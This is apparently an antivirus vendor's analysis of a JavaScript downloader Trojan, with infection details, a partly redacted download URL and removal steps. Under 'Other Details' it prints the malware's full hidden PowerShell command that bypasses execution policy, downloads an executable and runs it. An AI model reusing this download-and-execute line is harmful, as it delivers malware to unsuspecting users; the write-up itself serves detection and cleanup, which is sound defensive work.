Analysis by: Warren Adam Sto. Tomas
ALIASES:

Trojan.JS.Agent.TBF (Bitdefender)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

  TECHNICAL DETAILS

File Size: 34697 bytes
File Type: JS
Memory Resident: No
Initial Samples Received Date: 25 Feb 2019
Payload: Connects to URLs/IPs

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://{BLOCKED}.{BLOCKED}.197.153/krabaldento.exe

It saves the files it downloads using the following names:

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

Other Details

This Trojan does the following:

  • It uses the following powershell commands to download and execute a malicious file:
    • powershell.exe -executionpolicy bypass -noprofile -w hidden $var = New-Object System.Net.WebClient; $var.Headers['User-Agent'] = 'Windows'; $var.downloadfile('http://{BLOCKED}.{BLOCKED}.197.153/krabaldento.exe','%temp%YMN28.exe'); & start %temp%YMN28.exe", "", "open", 0)

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 14.840.02
FIRST VSAPI PATTERN DATE: 27 Feb 2019
VSAPI OPR PATTERN File: 14.841.00
VSAPI OPR PATTERN Date: 28 Feb 2019

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  
  • %AppDataLocal%\TempYMN28.exe

Step 4

Scan your computer with your Trend Micro product to delete files detected as Trojan.JS.GANDCRAB.THBBGAI. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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